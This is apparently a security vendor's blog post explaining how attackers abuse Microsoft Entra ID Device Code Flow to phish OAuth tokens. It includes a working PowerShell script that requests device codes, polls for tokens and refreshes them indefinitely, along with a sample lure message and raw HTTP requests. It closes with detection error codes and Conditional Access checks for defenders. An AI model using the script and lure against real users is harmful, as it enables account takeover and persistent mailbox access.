Approved by Design. Abused by Attackers: Inside Device Code Flow Exploitation

A hooded figure in shadows sits at a laptop with a digital skull on the screen, surrounded by red warning icons—hinting at attackers and exploitation of Device Code Flow. Text boxes read “Research Insights” and “Refresh Tokens” on a dark, tech-themed background.

“Attackers didn’t break Entra ID… they logged in.”

In early 2025, Microsoft exposed a sophisticated phishing campaign by Storm-2372, a threat actor targeting critical sectors like government, defense, energy, and education. Their trick? They didn’t steal passwords. They abused the Device Code flow — the same flow Microsoft designed for secure, non-browser logins.

Here’s how it worked:

  1. They messaged users pretending to be executives or colleagues.
  2. They sent a legit-looking Microsoft link with a device code.
  3. Victims went to https://microsoft.com/devicelogin, entered the legit code, and without typing a password, granted the attacker access.
  4. They are using Microsoft Graph API to search inboxes for terms like “password” and “admin,” and they pivoted internally by sending more phishing messages.

To escalate further, they even registered their own device, acquired a Primary Refresh Token (PRT), and stayed inside the network long-term; all using a flow most orgs don’t even monitor.

We saw it in the wild, with attempts to log in using the device code flow process initiated through SMS or social messages.  

What is Device Code Flow?

The Device Code flow is a non-interactive OAuth2 authorization mechanism designed for devices or tools that lack a browser or full input interface; like CLI tools, IoT devices, or PowerShell scripts. It decouples the user’s authentication from the client’s token request, allowing the user to authenticate on a separate trusted device via a short code and link (e.g., aka.ms/devicelogin).

It’s commonly used by headless apps, automation tools, or scripts that need access to Microsoft Graph or Azure APIs without launching a browser in the same session.

Why it matters in practice:

  • It’s MFA-compatible, and the user typically authenticates via browser.
  • It’s a low-friction flow for developers and attackers alike.
  • Used widely in az login, MSAL.PS, and other SDKs.
  • Often invisible in the UI, but visible in logs as Browser: Other.
  • Commonly abused in token phishing scenarios where the attacker farms user input.
  • Token lifetime can enable long-term access with minimal detection if misused.

A canonical example is: “az login –use-device-code”

This triggers the flow and instructs you to visit https://microsoft.com/devicelogin, enter a short code, and complete sign-in on a secondary device.

From Microsoft: “The Microsoft identity platform supports the device authorization grant, which allows users to sign in to input-constrained devices such as a smart TV, IoT device, or a printer. To enable this flow, the device has the user visit a webpage in a browser on another device to sign in. Once the user signs in, the device is able to get access tokens and refresh tokens as needed.”

Source: Microsoft identity platform and the OAuth 2.0 device authorization grant flow.

The Hidden Risks

Token Phishing via Device Code Flow

Threat Summary:

Attackers can initiate a legitimate device_code request and socially engineer the user to complete the authentication, handing over a valid access token to the attacker.

Simulation Flow:

  1. Attacker script sends a device_code request using a public client_id (like Microsoft Graph PowerShell).
  2. Receives:
    • device_code
    • user_code
    • verification_uri
  3. Displays a fake prompt or tricks the user with a message like:
    “You must re-authenticate to access corporate tools. Visit https://microsoft.com/devicelogin and enter this code: G7QJ-P9T3″
  4. The user thinks it’s legitimate, logs in with real credentials, and even passes MFA.
  5. The attacker’s script is polling, as soon as the login completes, the attacker receives:
    • access_token
    • refresh_token

Result:

  • Full delegated access to Microsoft Graph or other APIs.
  • Often invisible to the user, no alert, no email, no pop-up.
White text on a pink-to-black gradient background reads: Weak Conditional Access = No MFA Enforcement, opening doors for attackers and exploitation via Device Code Flow.

Threat Summary:

If Conditional Access isn’t explicitly scoped to “Other clients”, then device_code-based authentication may not be challenged with MFA, even if a baseline policy exists.

Why?

  • Device Code flow uses a non-browser client.
  • In Entra ID CA policies:
    • “Client App Condition” must include “Other clients”.
    • Otherwise, token grants from CLI tools or IoT devices can bypass enforcement.

What to Check:

  • Go to Entra ID → Conditional Access → Policies → Conditions → Client Apps.
  • Ensure you have checked “Other clients” and blocked access or enforced MFA.
White text on a black and dark red gradient background reads: Misconfigured Conditional Access = Easy Token Acquisition, enabling attackers to exploit vulnerabilities like Device Code Flow.

ClientAppUsed = Other” in Entra ID Logs

Threat Summary:

When Device Code Flow is used, the ClientAppUsed field is typically Other, making it harder to attribute to a known app or script.

Why does this matter?

  • Makes detection harder; device_code grants don’t look like Office 365, Browser, or Mobile Apps.
  • Easily lost in a sea of log noise unless you explicitly query for them.

When Device Code Meets SSO: The Hidden Seamless Login

What happens when a user has Single Sign-On (SSO) enabled?

In environments where SSO (Single Sign-On) is configured, such as Entra ID Hybrid Join, Azure AD Join, or Seamless SSO via Kerberos/Integrated Windows Auth (IWA), the user experience with Device Code flow can be nearly invisible.

SSO Experience (Seamless):

  1. User opens https://microsoft.com/devicelogin
  2. Enters user code
  3. Automatically redirected to their SSO provider (e.g., Entra ID via Seamless SSO)
  4. Auth completes without entering credentials
  5. Device/script immediately receives access token

What this means:

  • No username/password interaction: The login is transparent if the browser is already signed in to the user’s corporate identity (via cookies, Kerberos ticket, etc).
  • MFA might not be triggered if Conditional Access policies aren’t enforced properly for Other clients or low-trust signals.
  • Users may not realize they just authenticated a script by simply entering a code, and that’s it.

Risk Implication

This creates a golden opportunity for attackers:

  • If the attacker can convince a user to visit microsoft.com/devicelogin and enter a code…
  • The user has already been signed into Microsoft 365 via SSO.
  • The login completes instantly, and the attacker receives valid tokens without any interaction or friction.

No password. No MFA popup. Just a clean token harvest.

The Tradecraft Concept

device_code

Definition:
A non-visible, unique one-time-use code is issued to the client when initiating the device code flow.

How it’s used:

  • The client uses it to poll the /token endpoint for the access token.
  • Think of it as the backend token that bridges the “pending” authorization session with the user’s eventual approval.

Security Notes:

  • Short-lived (usually ~900 seconds).
  • If leaked, it can’t be used alone as it needs user approval to become useful.
  • Abuse angle: The Attacker generates the token and waits for a victim to authenticate it (via phishing).

user_code

Definition:
A human-readable, 6–8 character alphanumeric code (e.g., ABCD1234) shown to the user, who enters it at the login page (aka.ms/devicelogin).

How it’s used:

  • It links the user’s browser session to the specific client’s device_code.
  • It’s short, simple, and safe to display, but also phishable.

Security Notes:

  • Often used in device phishing: the attacker tricks users into entering it on their behalf.
  • Can be observed in social engineering, QR phishing, and browser-in-the-middle attacks.

verification_uri

Definition:
The web address where the user is told to go (typically https://microsoft.com/devicelogin) to complete authentication.

How it’s used:

  • The user visits it on a separate, trusted device (like a mobile phone or laptop).
  • This separates the authentication from the device needing the token.

Security Notes:

  • Microsoft’s page is legitimate, but nothing stops an attacker from replacing it with a fake login page (think: MITM phishing kits).
  • Keep an eye on anything outside microsoft.com/devicelogin, especially links with typos or redirects.

Polling

Definition:
The client (PowerShell, CLI tool, app) repeatedly sends requests to the /token endpoint with the device_code until:

  • The user authorizes → access token returned
  • The device code expires
  • The user denies the request

How it’s used:

  • Token polling happens in the background, typically every 5 seconds (as dictated by the interval).
  • Client polls until it succeeds or hits a failure condition.

Security Notes:

  • Attackers may use polling as a passive listener, waiting for victims to authorize.
  • Detection point: unusual volume of polling requests, or polling from low-trust locations or automation tools.
White text on a dark gradient background reads: The synergy between device_code, user_code, verification_uri, and polling in the device code flow creates both a seamless UX and a potential attack surface for exploitation in phishing or security breaches.

Attack Scenario 

Gain persistent access to a user’s Microsoft 365 environment via OAuth tokens, bypassing MFA and evading conditional access policies that allow device_code grant.

  • Start the Flow on the Attacker’s Machine
  • Phish the Target
  • Victim Enters Code
  • Attacker Gets Access + Refresh Token
  • Persist with Refresh Tokens

Tools Used

  • PowerShell
  • The Device Code Flow script
  • A public Microsoft client ID (no app registration required) or any other app.
  • A user should be tricked into authenticating the device code.

Attack flow

This PowerShell command is a fully scripted Device Code Flow implementation for Microsoft Graph. It’s designed to:

  • Initiate a device code flow
  • Guide the user through manual authentication
  • Poll for an access token
  • Auto-refresh the access token continuously

Let’s break it down step by step like a security researcher analyzing both functionality and attack surface:

Initiate the Device Code Flow

$token = Invoke-RestMethod -Method Post -Uri “https://login.microsoftonline.com/common/oauth2/v2.0/devicecode” `
-Body @{
client_id = “04b07795-8ddb-461a-bbee-02f9e1bf7b46”;
scope = “https://graph.microsoft.com/.default offline_access”
}

  • Sends a POST request to the /devicecode endpoint.
  • Uses the Microsoft first-party client ID for Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46).
  • Request access to Microsoft Graph with .default and offline_access (to get a refresh token).

Result: You get a user_code, device_code, and a verification_uri.

Prompt the User to Authenticate

Write-Host “Go to $($token.verification_uri) and enter $($token.user_code)”

  • Prompts the user to visit https://microsoft.com/devicelogin (or another verification_uri) and enter the user_code.
  • This is the interactive part of the flow.

Polling for Access Token

$access = $null
while (-not $access) {
Start-Sleep -Seconds 5
try {
$access = Invoke-RestMethod -Method Post -Uri “https://login.microsoftonline.com/common/oauth2/v2.0/token” `
-Body @{
client_id = “04b07795-8ddb-461a-bbee-02f9e1bf7b46”;
grant_type = “urn:ietf:params:oauth:grant-type:device_code”;
device_code = $token.device_code
} -ErrorAction Stop
} catch {}
}

  • Every x seconds, the script polls the /token endpoint using the device_code.
  • As soon as the user finishes authenticating, the response contains an access_token and refresh_token.

Display Access Token

Write-Host “Access Token: $($access.access_token)”

  • Dumps the access token to the console. From here, you could start calling the Microsoft Graph API.

Auto-Refresh the Access Token (Forever Loop)

while ($true) {
Start-Sleep -Seconds 3500
$access = Invoke-RestMethod -Method Post -Uri “https://login.microsoftonline.com/common/oauth2/v2.0/token” `
-Body @{
client_id = “04b07795-8ddb-461a-bbee-02f9e1bf7b46”;
grant_type = “refresh_token”;
refresh_token = $access.refresh_token;
scope = “https://graph.microsoft.com/.default”
}
Write-Host “New Access Token: $($access.access_token)”
}

  • Every ~58 minutes (3500 seconds), it uses the refresh_token time to request a new access_token.
  • This prevents session expiration and keeps the token fresh forever.

Security Notes

  • Exfil risk: This script exposes the access_token in clear text. A malicious actor with access to the console could harvest tokens.
  • Persistence: The infinite loop makes this ideal for token farming or passive access collection, especially in malicious scenarios.
  • First-party app abuse: This uses a public client (Azure CLI), so there’s no client secret and no app registration needed, making it easy to abuse in Red Team or malware scenarios.

HTTP Request & Response

Step 1: Request device code

POST /common/oauth2/v2.0/devicecode
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46
&scope=https://graph.microsoft.com/.default

Response:

{
“device_code”: “6e23b9d3-…”,
“user_code”: “G7QJ-P9T3”,
“verification_uri”: “https://microsoft.com/devicelogin”,
“expires_in”: 900,
“interval”: 5,
“message”: “To sign in, use a web browser to open https://microsoft.com/devicelogin and enter the code G7QJ-P9T3 to authenticate.”
}

The Attack 

The Attack flow from the attacker and victim sides 

Attacker Side

Initiate Device Code Request

  • Sends request to /devicecode endpoint via script (PowerShell, Python, CLI).
  • Receives: device_code, user_code, and verification_uri.

Lures Victim

Waits + Polls

  • Starts polling /token with device_code every few seconds.
  • Waits for victim to complete auth.

Receives Token

  • If successful, it receives access_token and refresh_token.
  • Proceeds to call the Graph API or other services on behalf of the victim.

The Guardz Best Experience

While there are many recommendations and best practices, we call it – The Guardz Best Experience. Why do we call it that? Because we put together the vendor recommendations and the best practices, including our vast experience from the field, into one unit – The Guardz Best Experience.

While many organizations have Entra ID P2, many others are using different plans and don’t have the full features of Entra ID. 

# Check the Guardz ITDR solution for advanced detections and response. #

Detection

Device Code Flow – Entra ID Error Codes

So, what error codes in the Entra ID can be used in detection mode? The following Error Codes should be for specific use cases or part of others. 

Error CodeName / MeaningWhen It OccursDetection Use Case
AADSTS70016Authorization PendingThe client is polling for a token, but the user has not yet completed authentication via the verification URIThe client is polling for a token, but the user has not yet completed authentication via the verification URI.
AADSTS70018Bad Verification CodeThe user entered an invalid user_code at the verification URI (e.g., typo or fake prompt)May indicate a user was tricked into using a spoofed code or a phishing attempt with an invalid pairing
AADSTS70019Code ExpiredThe device code was never redeemed within the timeout window (usually 900 seconds)Normal in device code flow, but repeated polling without success may indicate automation or phishing attempts.
AADSTS70021No Grant FoundThe polling client used a device code that was never initiated or has already been completed/invalid.Abnormal if seen often — can signal malformed or abused flows
AADSTS70020Authorization DeclinedThe user explicitly denied the request at the verification pageIf the same app sees repeated denials, it may be suspicious or misconfigured
AADSTS70008Refresh Token Expired/RevokedIf a refresh token obtained via device_code is reused after expiry or revocationMay signal token misuse or attempts to reuse stolen tokens
AADSTS50076 / 50079MFA Required (CA Enforcement)The device_code grant triggered a Conditional Access policy requiring MFAGood signal that MFA is stopping unauthorized usage of this flow
AADSTS53003Blocked by Conditional Access or Security DefaultsThe device_code flow is blocked by CA policies (e.g., “Other clients”)Validate that the “Block Other Clients” policy is working properly

Note: The presence of this error code may indicate a direct or indirect identity linkage. It’s essential to correlate preceding and surrounding actions to verify potential misuse, unauthorized access, or device code and token manipulation within the same scope.

Summary

While Device Code Flow can be restricted or blocked using Entra ID P2 Conditional Access, it still has abuse potential, especially in environments where:

  • Legacy or unmonitored scripts still use it
  • Token phishing tricks the user into authorizing the attacker’s sessions
  • Shadow apps operate under the radar using approved permissions
  • Refresh tokens extend access even after the initial window

🔜 Who are the real abusers of Device Code Flow? What red teams, token farms, and phishing kits don’t want you to know is coming in the next post.

📢 Stay tuned  and share this post, because in security… sharing = caring = defending

Categories:

Subscribe to
Our Newsletter.

A person sits in a futuristic control room, resembling an archive, with large screens displaying stars and planets, suggesting space. The background features abstract mountain outlines under a pale sky with a moon.

Guardz, Cybersecurity
Co-Pilot for MSPs

Demonstrate the value you bring to the table as an MSP and gain visibility into your clients’ external postures.
Holistic Protection.
Hassle-Free.
Cost-Effective.